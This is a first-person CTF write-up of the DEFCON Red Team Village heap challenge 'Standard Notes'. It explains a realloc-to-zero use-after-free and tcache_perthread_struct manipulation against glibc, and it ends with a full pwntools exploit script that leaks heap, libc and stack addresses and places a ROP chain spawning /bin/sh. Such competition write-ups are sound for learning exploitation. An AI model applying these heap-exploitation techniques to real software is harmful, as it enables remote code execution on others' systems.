Winning a DEFCON Black Badge: DEFCON Red Team Village CTF Writeup

At this year’s DEFCON, I participated in the Red Team Village CTF as NUSeXcel (a collaboration between NUS Greyhats and HTX) and we managed to take first place and also win a DEFCON Black Badge! This is probably the most oustanding achievement yet and we’re thankful for the support from all our friends that has given us the opportunity to be here.

the famous defcon black badge

the team

This is my writeup for the pwn challenge Standard Notes that had only 2 solves at the end of the CTF by myself and the team from Pentraze.

Standard Notes

Functionality

The program presents us with a typical heap challenge menu where we can allocate, view, free, and edit the note (aka the heap buffer) contents.

void banner()
{
  write_str("Welcome to the Standard Note Taking App\n");
  write_str("1. Add a note\n");
  write_str("2. View a note\n");
  write_str("3. Delete a note\n");
  write_str("4. Edit a note\n");
  write_str("5. Exit\n");
}

int main()
{
  unsigned long choice;

  init();
  banner();
  while ( 1 )
  {
    write_str("Enter your choice: ");
    choice = read_ull();
    switch (choice) {
        case 1:
            addNote();
            break;
        case 2:
            viewNote();
            break;
        case 3:
            deleteNote();
            break;
        case 4:
            editNote();
            break;
        case 5:
        default:
            return;
    }
  }
}

Allocate

void addNote()
{
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  // we can only allocate up to 13 chunks
  if ( (uint64_t)add_count > 0xD )
  {
    logger("[VIP]: Only premium users can add more notes\n");
    exit(0);
  }
  ++add_count;

  // we can only allocate up to 0x50 bytes (tcache & fastbin sizes)
  write_str("Size: ");
  size = read_ull();
  if ( size > 0x50 )
    return logger("Size is too big\n");
  v3 = malloc(size);
  if ( !v3 )
    return logger("Failed to allocate memory\n");

  for ( i = 0LL; i <= 0x4F && notes[i]; ++i )
    ;
  if ( i == 80 )
    return logger("No free index found\n");
  notes[i] = v3;
  write_str("Note: ");
  return read_str(v3, (unsigned int)size); // read up to the allocated size (secure! no buffer overflow)
}

We can make some mental notes

• Up to 13 allocations of no more than 0x50 bytes each.
• Input size is only as large as the allocated size.

View

__int64 viewNote()
{
  unsigned __int64 ull; // [rsp+8h] [rbp-8h]

  write_str("Index: ");
  ull = read_ull();
  if ( ull > 0x4F || !notes[ull] )
    return logger("Index is not right\n");
  write_str("Note: ");
  return write_str(notes[ull]);
}

ssize_t __fastcall write_str(const char *a1)
{
  size_t v1; // rax

  v1 = strlen(a1);
  return write(1, a1, v1);
}

Straightforward function where we can read the contents of the notes up to the first null byte.

Delete

_QWORD *deleteNote()
{
  _QWORD *result; // rax
  unsigned __int64 ull; // [rsp+8h] [rbp-8h]

  write_str("Index: ");
  ull = read_ull();
  if ( ull > 0x4F || !notes[ull] )
    return (_QWORD *)logger("Index is not right\n");
  free((void *)notes[ull]);
  result = notes;
  notes[ull] = 0LL;
  return result;
}

This function is also simple and secure as it properly NULLs the allocated pointer after free-ing, preventing any use-after-free vulnerabilities.

Edit

__int64 editNote()
{
  void *v1; // [rsp+8h] [rbp-18h]
  unsigned __int64 ull; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  // reallocate up to 13 chunks
  if ( (uint64_t)realloc_count > 0xD )
  {
    logger("[VIP]: Only premium users can edit more notes\n");
    exit(0);
  }
  ++realloc_count;

  write_str("Index: ");
  ull = read_ull();
  if ( ull > 0x4F || !notes[ull] )
    return logger("Index is not right\n");
  write_str("Size: ");
  size = read_ull();
  if ( size > 0x50 )
    return logger("Size is too big\n");
  v1 = (void *)notes[ull];
  
  // reallocate with specified size if the current chunk is too big/small
  if ( size != malloc_usable_size(v1) )
    v1 = realloc((void *)notes[ull], size);

  // if the reallocation returns NULL, we assume it failed(?) and terminate early
  if ( !v1 )
    return logger("Failed to allocate memory\n");

  // update the pointer
  notes[ull] = v1;
  write_str("Note: ");
  return read_str((void *)notes[ull], size);
}

This is the most interesting function

• We can edit the chunk up to 13 times.
• If the size for the edited note differs from the actual chunk size of the chunk, we will realloc it.
• The edited size is also bound to 0x50 bytes.
• If realloc returns NULL, it will terminate early and not update the pointer.

The Vulnerability

The vulnerability is in the edit_notes function, where the note is reallocated. If we pass a size of 0 to realloc, this would free the note and return NULL.

realloc(note, 0); // sz == 0

Since it returns NULL, the editNote function will terminate early and not update or NULL the pointer in notes[].

This gives us a use-after-free vulnerability, but how do we exploit it to get RCE?

Exploit Methodology

Typically, the flow of how we can exploit a UAF would be

1. Allocate a sufficient large unsortedbin sized chunk (>0x408)
2. Free it and read it with our UAF vulnerability to get libc leak
3. Do a tcache-unlinking attack to gain arbitrary write
4. With arbitrary write, there are many ways to get RCE. See here.

If you are unfamiliar with tcache-unlinking attack, read this.

It is essentially just modifying the linked-list of the free-ed chunks such that we can control the allocations when these chunks are reallocated by the memory allocator.

However, the difficulty of the challenge lies in the fact that we only have limited number of allocations and UAF and we can only allocate chunks no more than 0x50 bytes.

This makes it difficult to obtain a LIBC leak trivially.

Getting a heap leak

Getting a heap leak is simple as we can simply just read any free-ed chunk with our UAF.

Due to tcache safe-linking, we can only leak a mangled pointer.

However, this is easy to bypass as there is enough information in the upper bits to unxor the lower bits.

add(0x30, b"A") # id 0
add(0x30, b"B") # id 1
secure_free(0) 
realloc_free(1)
view(1)
heap_leak = (x >> 12 ^ (x >> 36 << 12) ^ ((x >> 24 ^ x >> 36) & 0xfff)) << 12

Getting more efficient arbitrary writes with the tcache_perthread_struct

Due to our limited amount of chunks that we can allocate/UAF, we want to find a more efficient way to get arbitrary writes.

With our heap leak, we can do any arbitrary write within heap memory via tcache-unlinking.

If we inspect the contents of the heap, we can actually notice that there is a 0x290 sized chunk which is actually the tcache_perthread_struct

The tcache_perthread_struct is a struct that is used by the memory allocater to track the head of the tcache linked list for each bin, as well as the number of chunks in each bin.

By writing to tcache_perthread_struct->entries[] and tcache_perthread_struct->count[], we can make malloc in the tcache-size range always return an address that we want.

We can achieve this write with 4 allocations and 1 UAF.

Assume we want to allocate a chunk to 0x1337

action	index	result	tcache linked list
Allocate	0	A	-
Allocate	1	B	-
Free	0	-	A
Free	1	-	B -> A
Edit	1	-	B -> 0x1337
Allocate	0	B	0x1337
Allocate	1	0x1337	-

By writing to the tcache_perthread_struct, we can control entries[4] and count[4] which corresponds to the 0x60 sized chunk.

Subsequently, in order to do any arbitrary write, we merely have to modify entries[4] to change the head of the tcache linked list using editNote and subsequently allocate a chunk to a desired address.

Now, we can achieve arbitrary write with 1 allocation and 1 editNote.

Coercing a chunk into the unsorted bin

Since fastbin only support chunks up to size 0x88, we can use our arbitrary write to overwrite a chunk size to 0x90 and modify the tcache->count[] for the 0x90 bin to be 7 which would indicate that the tcache is full.

Since the tcache is “full”, the memory allocator would free out fake 0x90 chunk into the unsorted bin which puts a libc leak on the heap for us to leak.

Arbitary write to code execution

The most traditional and reliable way to get code execution would be to modify the return address on the stack.

1. Leak stack address by leaking _libc_environ
2. Allocate and write ROP chain to return address on the stack.

Solve Script

Finally, piecing everything together, here’s the solve script.

from pwn import *

elf = context.binary = ELF("notes")
libc = elf.libc
if args.REMOTE:
	p = remote("104.131.25.76", 31991)
else:
	p = elf.process()

sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)

def add(size, note):
    sla(b"choice:", b"1")
    sla(b"Size:", str(size).encode())
    if not note == b"":
        sa(b"Note:", note)

def view(idx):
    sla(b"choice:", b"2")
    sla(b"Index:", str(idx).encode())

def delete(idx):
    sla(b"choice:", b"3")
    sla(b"Index:", str(idx).encode())

def edit(idx, size, note):
    sla(b"choice:", b"4")
    sla(b"Index:", str(idx).encode())
    sla(b"Size:", str(size).encode())
    if not note == b"":
        sa(b"Note:", note)

def free(idx):
    sla(b"choice:", b"4")
    sla(b"Index:", str(idx).encode())
    sla(b"Size:", b"0")


# we prepare some our arbitrary write later by incrmeneting tcache->count[] for 0x50 sized chunks
add(0x50, b"D") # 0
add(0x50, b"D") # 1
free(0)
delete(1)

# get leak
add(0x30, b"A"*0x30) # 1
add(0x30, b"B"*0x30) # 2
delete(1)
free(2)
view(2)
ru(b"Note: ")
x = unpack(p.recv(6), "all")
heap_leak = (x >> 12 ^ (x >> 36 << 12) ^ ((x >> 24 ^ x >> 36) & 0xfff)) << 12
log.info(f"heap leak @ {hex(heap_leak)}")

# tcache unlink
edit(2, 0x40, p64((heap_leak + 0xb0) ^ heap_leak >> 12))

# write tcache->bins[0x60].ptr
add(0x30, b"C") # 1
add(0x30, p64(heap_leak+0xa0)) # 3
# write malloc_usable_size for chunk 2
add(0x50, p64(0) + p64(0x52)) # 4
edit(3, 0x40, p64(heap_leak+0x10))

# write tcache->bins[0x60].size
# we set tcache->bins[0xc0].size = 7 (so any subsequent chunks go into unsorted bin)
add(0x50, p16(0)*4 + p16(3) + p16(0)*5 + p16(7)) # 5

# free 0xc0 into unsorted bin and get libc leak
edit(3, 0x40, p64(heap_leak+0x2a0-0x10))
add(0x50, b"Z"*8 + p64(0xc1) + p64(0)*2) # 6
free(0)
view(0)
ru(b"Note: ")
libc.address = unpack(p.recv(6), "all") - 0x203b20
log.info(f"libc leak @ {hex(libc.address)}")

# leak environ
edit(3, 0x40, p64(libc.sym.environ-0x18)) # 7
add(0x50, b"A"*24)
view(7)
ru(b"A"*24)
stack_addr = unpack(p.recv(6), "all") - 0x138
log.info(f"libc leak @ {hex(stack_addr)}")

# rop chain on stack
r = ROP(libc)
r.call(r.ret)
r.system(next(libc.search(b"/bin/sh")))
edit(3, 0x40, p64(stack_addr))
add(0x50, b"A"*8 + r.chain())

sla(b"choice:", b"5")

p.interactive()

Perhaps there might me a more efficient exploit that uses even less allocations and reallocations, but this will do for now!

Reflection

The beauty of pwn challenges in CTFs is that there is no standard solution to solve it all. Different environment has different restrictions which makes it crucial for exploit developers to have a deep understanding in these low level mechanisms which may serve as useful exploit vectors to gain good read/write primitives from a simple UAF.

There is perhaps many alternative solutions to this challenge, and if you have any alternative exploit ideas/solutions, I’ll be happy to hear it!

Hope this was a fun read :)